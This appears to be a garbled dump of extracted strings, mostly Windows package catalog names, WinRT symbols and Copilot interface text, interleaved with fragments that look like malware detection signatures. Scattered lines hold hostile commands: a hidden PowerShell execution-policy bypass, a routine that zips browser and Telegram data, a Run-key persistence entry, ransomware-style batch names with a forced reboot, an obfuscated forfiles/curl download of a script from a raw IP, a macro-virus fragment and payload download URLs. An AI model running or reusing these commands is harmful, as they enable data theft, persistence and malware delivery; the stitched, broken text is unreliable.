Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0113~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|!
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Shared-5A906401B1801A9A7386214A3ABDA88E648A43CA49B6E45F42772F225063C8F6~31bf3856ad364e35~amd64~~10.0.26100.7298.cat|-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|!
Microsoft-Windows-ErrorReportingFaults-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
.vbs'))};&{start-process-windowstylehidden
s\system32
10b^com.microsoft.windows.extensionpackage
10f^com.microsoft.windows.telemetryid
ntWindowsProc
D<prebuildevent><command>powershell-executionpolicybypass-windowstylehiddenif(([system.environment]::osversion.version.major-eq10)-and[system.environment]::is64bitoperatingsystem
egerTrust = "c:\program", Optional WSetPointer = "a")& "data\arrValTrust.ht" &out & Chr(arr(cnt) Xor 10)Shell(headerInd("c:\\windows\\explorer ")
Voice access is being configured via Windows update. It will be available after the process is complete.
Searched Windows for
%1!s!, %2!u! running windows, pinned
%1!s!, %2!u! running windows
Windows Sonic for Headphones
To switch input methods, press Windows key + space.
Pen & Windows Ink settings
Select Windows logo key + period (.) to open the Emoji and more panel
Recall: Sign in with Windows Hello to resume, no snapshots are being saved
Recall: Saving snapshots, one or more windows filtered.
Recall: Saving snapshots, one or more windows filtered.
Your Windows 10 Apps
Welcome to Windows
s new in Windows
What's new in Windows?
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
9icrosoft.WindowsAppRuntime.1.6_6000.401.2352.0_x64__8wekyb3d8bbweN
(@windowsdir&
t update because it might still be running on your device under another Windows account. Please close all Microsoft Copilot application windows and try again.Allow updates to be downloaded as soon as they're available and applied when the application restarts.Automatically download updates over metered networks (for example, cellular network) and apply them on application restart. Charges may apply.Use double-click to close application tabsCustomize which buttons always show on your applicationShow Windows 11 visual effects in applicationFor this setting change to take effect, restart your applicationAllow Microsoft Copilot to save your passwords and help keep them secureMicrosoft Copilot will suggest strong passwords and, if you choose to use them, they
C:\Windows\Containers\Confidential\DotnetGenerator\Stub\Projects\Jabret\obj\Debug\Jabret.pdbC
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 20112010
%Microsoft Windows Production PCA 20112010
windows
t update because it might still be running on your device under another Windows account. Please close all Microsoft Copilot application windows and try again.Allow updates to be downloaded as soon as they're available and applied when the application restarts.Automatically download updates over metered networks (for example, cellular network) and apply them on application restart. Charges may apply.Use double-click to close application tabsCustomize which buttons always show on your applicationShow Windows 11 visual effects in applicationFor this setting change to take effect, restart your applicationAllow Microsoft Copilot to save your passwords and help keep them secureMicrosoft Copilot will suggest strong passwords and, if you choose to use them, they
WINDOWS\ServiceProfiles\Local
system32\cmd.exe
WINDOWS.NETWORKING.BACKGROUNDTRANSFER.INTERNAL.NETWORKCHANGETASK.CLASSID.18
WINDOWS.NETWORKING.BACKGROUNDTRANSFER.INTERNAL.NETWORKCHANGETASK.CLASSID.27
WINDOWS.NETWORKING.CONTENTPREFETCHER.INTERNAL.CONTENTPREFETCHERTASK.CLASSID.14
WINDOWS.NETWORKING.CONTENTPREFETCHER.INTERNAL.CONTENTPREFETCHERTASK.CLASSID.23
WINDOWS.NETWORKING.CONTENTPREFETCHER.INTERNAL.CONTENTPREFETCHERTASK.CLASSID.17
WINDOWS.NETWORKING.CONTENTPREFETCHER.INTERNAL.CONTENTPREFETCHERTASK.CLASSID.1
WINDOWS.NETWORKING.CONTENTPREFETCHER.INTERNAL.CONTENTPREFETCHERTASK.CLASSID.12
WINDOWS.NETWORKING.BACKGROUNDTRANSFER.INTERNAL.BACKGROUNDTRANSFERTASK.CLASSID.1
WINDOWS.NETWORKING.CONTENTPREFETCHER.INTERNAL.CONTENTPREFETCHERTASK.CLASSID.19
WINDOWS.NETWORKING.CONTENTPREFETCHER.INTERNAL.CONTENTPREFETCHERTASK.CLASSID.22
WINDOWS.NETWORKING.BACKGROUNDTRANSFER.INTERNAL.NETWORKCHANGETASK.CLASSID.7
WINDOWS.NETWORKING.BACKGROUNDTRANSFER.INTERNAL.NETWORKCHANGETASK.CLASSID.33
WINDOWS.NETWORKING.BACKGROUNDTRANSFER.INTERNAL.NETWORKCHANGETASK.CLASSID.1
WINDOWS.NETWORKING.CONTENTPREFETCHER.INTERNAL.CONTENTPREFETCHERTASK.CLASSID.15
WINDOWS.NETWORKING.CONTENTPREFETCHER.INTERNAL.CONTENTPREFETCHERTASK.CLASSID.11
WINDOWS.NETWORKING.CONTENTPREFETCHER.INTERNAL.CONTENTPREFETCHERTASK.CLASSID.18
system32\
:\users\emre\desktop\downloader\windowsformsapplication
WindowsVersion
=skipped reason=sandbox_detected-NoProfile-NonInteractive-WindowStyleHidden-E
)y12\config\systemprofile\appdata\local\windows internet name service\
v\config\systemprofile\Local Settings\Windows Internet Name Service\
uVf\config\systemprofile\Local Settings\Application Data\Windows Internet Name Service\
\config\systemprofile\Ustawienia lokalne\Dane aplikacji\Windows Internet Name Service\
\config\systemprofile\Lokale Einstellungen\Anwendungsdaten\Windows Internet Name Service\
\config\systemprofile\Impostazioni locali\Dati applicazioni\Windows Internet Name Service\
\config\systemprofile\NT AUTHORITY\Local Settings\Application Data\Windows Internet Name Service\
\config\systemprofile\appdata\local\windows internet name service\049e7fb749be2cdf169e28bb0a27254f\181084e525a65ef540c63d60ce07f836.ph
r$y\config\systemprofile\appdata\local\windows internet name service\049e7fb749be2cdf169e28bb0a27254f\7d0b14cec8baf661c8a240560c5b7c32.ph
\config\systemprofile\local settings\application data\windows internet name service\049e7fb749be2cdf169e28bb0a27254f\181084e525a65ef540c63d60ce07f836.ph
r\config\systemprofile\local settings\application data\windows internet name service\049e7fb749be2cdf169e28bb0a27254f\7d0b14cec8baf661c8a240560c5b7c32.ph
ruct winrt::Microsoft::Windows::AppLifecycle::AppInstance,class std::allocator<struct winrt::Microsoft::Windows::AppLifecycle::AppInstance> >,struct winrt::impl::single_threaded_collection_base>,struct winrt::Microsoft::Windows::AppLifecycle::AppInstance>::InsertAt(const unsigned int,const struct winrt::Microsoft::Windows::AppLifecycle::AppInstance &)
void __cdecl winrt::vector_base<struct winrt::impl::vector_impl<struct winrt::Microsoft::Windows::AppLifecycle::AppInstance,class std::vector<struct winrt::Microsoft::Windows::AppLifecycle::AppInstance,class std::allocator<struct winrt::Microsoft::Windows::AppLifecycle::AppInstance> >,struct winrt::impl::single_threaded_collection_base>,struct winrt::Microsoft::Windows::AppLifecycle::AppInstance>::SetAt(const unsigned int,const struct winrt::Microsoft::Windows::AppLifecycle::AppInstance &)
struct winrt::Microsoft::Windows::AppLifecycle::AppInstance __cdecl winrt::vector_view_base<struct winrt::impl::vector_impl<struct winrt::Microsoft::Windows::AppLifecycle::AppInstance,class std::vector<struct winrt::Microsoft::Windows::AppLifecycle::AppInstance,class std::allocator<struct winrt::Microsoft::Windows::AppLifecycle::AppInstance> >,struct winrt::impl::single_threaded_collection_base>,struct winrt::Microsoft::Windows::AppLifecycle::AppInstance,struct winrt::impl::collection_version>::GetAt(const unsigned int) const
struct winrt::Microsoft::Windows::AppLifecycle::AppInstance __cdecl winrt::iterable_base<struct winrt::impl::vector_impl<struct winrt::Microsoft::Windows::AppLifecycle::AppInstance,class std::vector<struct winrt::Microsoft::Windows::AppLifecycle::AppInstance,class std::allocator<struct winrt::Microsoft::Windows::AppLifecycle::AppInstance> >,struct winrt::impl::single_threaded_collection_base>,struct winrt::Microsoft::Windows::AppLifecycle::AppInstance,struct winrt::impl::collection_version>::iterator::Current(void) const
auto __cdecl winrt::Windows::Foundation::EventHandler<struct winrt::Microsoft::Windows::AppLifecycle::AppActivationArguments>::operator ()(const struct winrt::Windows::Foundation::IInspectable &,const struct winrt::Microsoft::Windows::AppLifecycle::AppActivationArguments &) const
auto __cdecl winrt::impl::consume_Windows_Foundation_IAsyncInfo<struct winrt::Windows::Foundation::IAsyncAction>::Cancel(void) const
auto __cdecl winrt::Windows::Foundation::AsyncActionCompletedHandler::operator ()(const struct winrt::Windows::Foundation::IAsyn
LocalizedResourceName=@%SystemRoot%\system32\shell32.dll,-50691
RecordedTV.library-ms=@%SystemRoot%\system32\shell32.dll,-34615
@cmd.exe /c xcopy /E /I /H /Y "%s" "%s\tdataLogin_Datacmd.exe /c powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File "%s%sbrowser_data.zip%stelegram_data.zip%s\%s_decryptedTrojan:HTML/Cryox.KS!MTB
?-windowstylehidden-command""irmfiles.catbox.moe/
the Windows
with Windows
Microsoft.Windows.WebDefense.ThreatAssessment.DebugTracing
Microsoft.Windows.WebDefense.WpTraceLogging
Microsoft.Windows.WebDefense.NetworkProtectionLogging
Microsoft.Windows.WebDefense.SmartScreenTraceLogging
Microsoft.Windows.Webdefense.SmartScreen
Windows PowerShell/
Windows/
UMicrosoft.WindowsTerminal_8wekyb3d8bbwe/8
UMicrosoft.WindowsNotepad_8wekyb3d8bbwe/(
UMicrosoft.Windows.ShellExperienceHost_cw5n1h2txyewy/2
UMicrosoft.OutlookForWindows_8wekyb3d8bbwe/4
UMicrosoft.Windows.DevHome_8wekyb3d8bbwe/.
UMicrosoft.Windows.Photos_8wekyb3d8bbwe/1
UMicrosoft.WindowsCalculator_8wekyb3d8bbwe/-
UMicrosoft.WindowsCamera_8wekyb3d8bbwe/2
UMicrosoft.WindowsFeedbackHub_8wekyb3d8bbwe/4
UMicrosoft.WindowsSoundRecorder_8wekyb3d8bbwe/)
76Windows/
UMicrosoft.WindowsAlarms_8wekyb3d8bbwe/:
UMicrosoft.Windows.NarratorQuickStart_8wekyb3d8bbwe/
UMicrosoft.WindowsStore_8wekyb3d8bbwe/
uyUMicrosoftWindows.Client.WebExperience_cw5n1h2txyewy/=
{tUMicrosoft.Windows.ContentDeliveryManager_cw5n1h2txyewy/:
usUMicrosoft.Windows.CloudExperienceHost_cw5n1h2txyewy/>
}qUMicrosoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy/0
aiUMicrosoftWindows.Client.CBS_cw5n1h2txyewy//
cYUMicrosoftWindows.Client.OOBE_cw5n1h2txyewy/3
gXUMicrosoftWindows.Client.CoreAI_cw5n1h2txyewy//
eVUwindows.immersivecontrolpanel_cw5n1h2txyewy/
!#SCPT:WindowsSandboxConfig.D
9y = %d, Handle = 0x%p, UserData %pm_m_DesiredTxPower%s\system32\nvuninst
nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoSAxEeulaVteSgeRC:\Windows\System32\wscript.exe
QupZilla\profiles\default\browsedata.db/group/one/two/three/four/five/fre.php\Microsoft\Windows\Explorerorer
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
s@WindowsUdkN
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-CoreSystem-DXG-Common-WOW64-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
\startRans.bat\recoveryKey.txt\Programs\Startup\startVs.bat\windows\system32\shutdown /r /t 0
0 Windows, O
dobbelteksponeringer\microsoft\windows\horizontical\uninstall\spalteteksternesd
sts.windows.net
mozilla/5.0(windowsnt10.0;win64;x64)appleWebKit/537.36(khtml,likegecko)chrome/70.0.3538.102safari/537.36edge/18.26100
regadd"hklm\software\microsoft\windows\currentversion\run"/v"filel"/treg_sz/d"%systemroot%\system32\file.bat"/f
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
SOFTWARE\Microsoft\Windows NT\CurrentVeP
C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.3.40\inc\wil\opensource\wil\registry.h
Microsoft-OneCore-Transactions-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.7623.cat|Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|
Microsoft-Windows-AppManagement-UEV-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package010~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package010~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|
ysRandomizing size: Appendedferro.tmpc:\autoexec.batKillRunedCopies -Windows\CurrentVersion\Runfile hiddenProcessing redirect stopped
%Microsoft Windows Production PCA 20110
Microsoft Windows0
delc:\windows\debug\c2.bat
C:\Windows\System32\msxfs.dllWfsExecuteWfsGetInfoC:\Work64\ADM\XFS\Release\XFS.pdbX
t update because it might still be running on your device under another Windows account. Please close all Microsoft Copilot application windows and try again.Allow updates to be downloaded as soon as they're available and applied when the application restarts.Automatically download updates over metered networks (for example, cellular network) and apply them on application restart. Charges may apply.Use double-click to close application tabsCustomize which buttons always show on your applicationShow Windows 11 visual effects in applicationFor this setting change to take effect, restart your applicationAllow Microsoft Copilot to save your passwords and help keep them secureMicrosoft Copilot will suggest strong passwords and, if you choose to use them, they
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-CoreSystem-Security-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat
Windows is still indexing this PC. Some results may not show in search yet.
Search results may be incomplete, Windows is still indexing this PC, some results may not show in search yet, click to see indexing status.
Search results may be incomplete, Windows is still indexing this PC, some results may not show in search yet, click to dismiss.
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
6attributevb_name="kangatang"subauto_open()filename:=application.startuppath&"\mypersonnel.xls"windows(1).visible=trueendifapplication.onsheetactivate=""application.screenupdating=trueapplication.onsheetactivate="mypersonnel.xls!allocated"endsubsuballocated()onerrorresumenextifactiveworkbook.sheets(1).name<>"kangatang"thenapplication.screenupdatingfalsecurrentsh=activesheet.namethisworkbook.she
SystemRoot=C:\WINDOWS
TMP=C:\WINDOWS\TEMP
TEMP=C:\WINDOWS\TEMP
windir=C:\WINDOWS
COMPUTERNAME=WINDOWS11
%programfiles%\common files\apple\apple application support;%system32%
re signed in to Microsoft Copilot, passwords you save will go in your Microsoft Account, $1. To turn this off, go to settings.Choose sign in below to use this app with Microsoft Copilot credentials.Edit this screenshot. Open screenshot editor to modify a screenshot of your desktop and Microsoft Copilot windows. Warning: might contain sensitive information.Hey, you're not signed into Microsoft Copilot. Signing in is the way to track your feedback. <a href="#" id="browser-sign-in">Sign in now</a>Recommend Microsoft CopilotHow likely are you to recommend Microsoft Copilot to a friend or colleague?Would you recommend Microsoft Copilot to others, if asked?Would you recommend Microsoft Copilot $1 to others, if asked?Microsoft Copilot can't open this file type.Microsoft Copilot Pinning WizardHmm...we don't have any suggestions for you right now. Our suggestions are based on your usage of Microsoft Copilot, so try using it for a while and then ask us again.This extension has been turned off to protect your application settings.Microsoft Copilot logoYour application is managed by your organizationapplication is managedUpdate available for Microsoft Copilot. Press Alt+F to open Settings and more menu.Update recommended for Microsoft Copilot. Press Alt+F to open Settings and more menu.Please update Microsoft Copilot now. Press Alt+F to open Settings and more menu.Live Capture Window opened in applicationMicrosoft Copilot <em>won't save</em>:
Windows.Data.Platform.LocalCache.VersionedBlobReferenceF
:\windows\svchost.exeshellautoruncommand=currentversion\policies\explorer\disallowrun
Windows.Data.CuratedTileCollection.Root
Windows.Data.PlaceholderTileLocal
Windows.Data.Input.PersonalWords.WordsUsage
Windows.Data.PlaceholderTileLogo
Windows.Data.PlaceholderTileCollection
IWindowsFormsEditorService
 Windows ClientserverListWndl
.writeline"set""fugues=c:\windows\temp\
Windows HelloT
Internal\Sdk\Inc\CppWinRT\winrt\Windows.Foundation.h
Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Embedded-UnifiedWriteFilter-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
Microsoft-Windows-HgsClient-Core-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-IIS-WebServer-AddOn-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-IIS-WebServer-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
Microsoft-Windows-PhotoBasic-Feature-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
oem8.cat|-Security-SPP-Component-SKU-Education-License-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Security-SPP-Component-SKU-Enterprise-License-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Security-SPP-Component-SKU-Professional-License-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Security-SPP-Component-SKU-ProfessionalCountrySpecific-License-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Security-SPP-Component-SKU-ProfessionalEducation-License-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Security-SPP-Component-SKU-ProfessionalSingleLanguage-License-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Security-SPP-Component-SKU-ProfessionalWorkstation-License-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
amd64_microsoft-windows-enrollment-winrt_31bf3856ad364e35_none_8a888c65377cab69
amd64_microsoft-windows-erratamanager_31bf3856ad364e35_none_4aab2abfdfacdb08
amd64_microsoft-windows-errorreporting-adm_31bf3856ad364e35_none_f93bf5543eab9851
amd64_microsoft-windows-errorreportingconsole_31bf3856ad364e35_none_5577f52d0439c6dd
amd64_microsoft-windows-errorreportingcore_31bf3856ad364e35_none_f700cf7840565d7f
amd64_microsoft-windows-errorreportingfaults_31bf3856ad364e35_none_718c4b018f923eaf
amd64_microsoft-windows-errorreportingkernel_31bf3856ad364e35_none_5762318c8946eac9
amd64_microsoft-windows-errorreportingui_31bf3856ad364e35_none_c753ab8340c277f4
amd64_microsoft-windows-es-authentication_31bf3856ad364e35_none_ad5cdd570597a12f
\windows\current
WindowsApps\Microsoft
docker-compose-Windows-x86_64
c:\windows\fk40f5_
c:\windows\fk40f5_
{`c:\windows\notepad.exey_gd0@phqu<t.xvv3ia38t@;u^^$fk^yt3$jvwgjwhu0d$http://www.masm32.net/123.exe
windows
Microsoft-Windows-OneCore-Containers-Client-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.1742B
Microsoft.Windows.Webdefense.SmartScreen
Microsoft.Windows.ShellExperienceDispatcher
Microsoft.Windows.Store.Partner
Microsoft.Windows.Shell.ExperienceHost
Microsoft.Windows.Shell.Focus
Windows.UI.Accessibility.pdb
Windows
Windows.Networking.BackgroundTransfer.Internal'
Windows.Networking.BackgroundTransfer.Internal'
Windows.Networking.BackgroundTransfer.Internal'
Windows.Networking.ContentPrefetcher.Internal
Windows.Networking.BackgroundTransfer.Internal
pass -windowstylyb
timewindowsformsap
c:\v1windows@.windowsz1system32b.system32f2forfiles.exej.forfiles.exe#..\..\windows\system32\forfiles.exe/pc:\windows\system32/mnotepad.exe/c"cmd/cpow^ers^hell/w01c^u^rlhtt^p://209.127.20.13/woke.j^s-oc:\users\public\webnote.js;c:\users\public\webnote.js"%wn]nd.q1spsxfl8c&mm
lf@po:i+00/c:\\1checkbookd.checkbook2telltaleperfecting.js\.telltaleperfecting.js$+..\..\..\..\checkbook\telltaleperfecting.jsc:\windows\explorer.exe%systemroot%\explorer.exe%systemroot%\explorer.exe
g#_lf@po:i+00/c:\\1checkbookd.checkbook~2revitalizesshrimp.jsz.revitalizesshrimp.js$*..\..\..\..\checkbook\revitalizesshrimp.jsc:\windows\explorer.exe%systemroot%\explorer.exe%systemroot%\explorer.exe
5c:\Windows\syswow64\iscsicpl.exec
ListBox_Support_CLSID\Default TabWindows\CurrentVersion\Policies\Ext!#ALF:Exploit:Win64/TeaCup.A!dha
Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.7623.cat|
Microsoft-Windows-Client-Desktop-Required-Package04102030~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package04102030~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package041820~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Features-Package0510~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-PowerShell-V2-Client-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Shared-5A906401B1801A9A7386214A3ABDA88E648A43CA49B6E45F42772F225063C8F6~31bf3856ad364e35~amd64~~10.0.26100.7298.cat|
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
 Microsoft Copilot Windows 10 
Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.7623.cat|
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
